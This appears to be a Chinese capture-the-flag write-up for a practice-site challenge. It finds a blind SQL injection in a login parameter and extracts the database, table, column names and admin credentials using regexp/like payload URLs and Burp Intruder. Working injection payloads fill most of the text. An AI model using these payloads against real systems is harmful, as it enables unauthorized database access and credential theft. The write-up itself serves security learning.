1. 程式人生 > >實驗吧--看起來有點難--盲注+burpsuite爆破

實驗吧--看起來有點難--盲注+burpsuite爆破

看起來有點難解題思路

1.觀察題目,使用者名稱和密碼這兩個引數都是通過GET方法傳輸。
2.通過對admin、pass兩個引數的測試,得出以下結論。
1)使用者名稱為admin時,返回“登陸失敗,錯誤的使用者名稱和密碼”。
2)使用者名稱為非admin欄位的時候,返回“資料庫連線失敗”。
3)對pass引數測試,都是“資料庫連線失敗”。
由此我們可以猜測admin引數可能存在注入。
3.進一步對我們的猜測進行驗證,判斷注入點。
1)加單引號,無回顯。

http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin'&pass'=admin&action=login

在這裡插入圖片描述
2)判斷為注入點:

http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and 1=1 %23&pass'=admin&action=login

在這裡插入圖片描述http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and 1=2 %23&pass'=admin&action=login
在這裡插入圖片描述4.我們猜測,該題目考察的應該是盲注。盲注實現的方法有好多,這個題目的意思應該就是通過盲注,得到資料庫中的使用者名稱和密碼,然後登陸得到flag。
5.盲注得到資料庫名名稱,這裡有兩種方法實現。
方法一:regexp注入
正確:

http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and 1=(if((database() regexp '^t'),1,0)) %23&pass'=admin&action=login
得到了資料庫名的第一位是t。
在這裡插入圖片描述錯誤:http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and 1=(if((database() regexp '^a'),1,0)) %23&pass'=admin&action=login
在這裡插入圖片描述
方法二:like注入
判斷第一位:
正確:xxx like ‘t%’
錯誤:xxx like 's%'

6.結合bp的intruder進行盲注,提高效率(當然也可以用其他的一些爆破工具):
設定引數:

在這裡插入圖片描述使用自行構造的盲注字典,開始爆破資料庫第一位:
在這裡插入圖片描述最終爆出資料庫名為:test。

7.爆破資料庫表名:
第一位:

(在這裡會題是select引數違法,我們將其任意一位改成大寫,雖然還是會提示違法,但是不影響結果的返回,不影響盲注。)

http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and 1=(if((selEct table_name from information_schema.tables where table_schema='test' limit 0,1) regexp '^a',1,0)
) %23&pass'=admin&action=login

在這裡插入圖片描述
在這裡插入圖片描述
在這裡插入圖片描述
最終爆出表名為admin。

8.爆出admin表的欄位(結合bp)。
這裡我們依舊採用此方法:
第一個欄位:

http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and 1=(if((selEct column_name from information_schema.columns where table_name='admin' limit 0,1) regexp '^username',1,0)
) %23&pass'=admin&action=login

得到欄位:username
在這裡插入圖片描述
第二個欄位:

http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and 1=(if((selEct column_name from information_schema.columns where table_name='admin' limit 1,1) regexp '^password',1,0)
) %23&pass'=admin&action=login

在這裡插入圖片描述
得到欄位:password

9.爆出賬號密碼
賬號:

http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and 1=(if((selEct username from admin) regexp '^admin',1,0)
) %23&pass'=admin&action=login

在這裡插入圖片描述
密碼:

http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and 1=(if((selEct password from admin) regexp '^idnuenna',1,0)
) %23&pass'=admin&action=login

在這裡插入圖片描述
10.輸入使用者名稱密碼即可登陸,使用盲注結合bp爆破,此方法比較麻煩,在這裡主要就是想和大家分享一下這個思路。其實這個題直接可以用sqlmap跑出來。但是大多數情況下sqlmap是跑不出的,因此使用盲注加爆破會是個不錯的選擇。
(真的寫了好長…)

---------------------------分割線------------------------------
看了其他大佬的wp,發現在盲注方面其實有更簡潔的語句。

比如爆欄位名稱的地方可以使用:
(不過好像得用完整的欄位名稱爆破,不能一位一位的爆破。)
xxx?admin=admin’ and (username like ‘%’) %23

xxx?admin=admin’ and (username regexp ‘^’) %23
爆欄位內容的地方可以使用:
xxx?admin=admin’ and (username like ‘admin%’) %23

xxx?admin=admin’ and (username regexp ‘^admin’) %23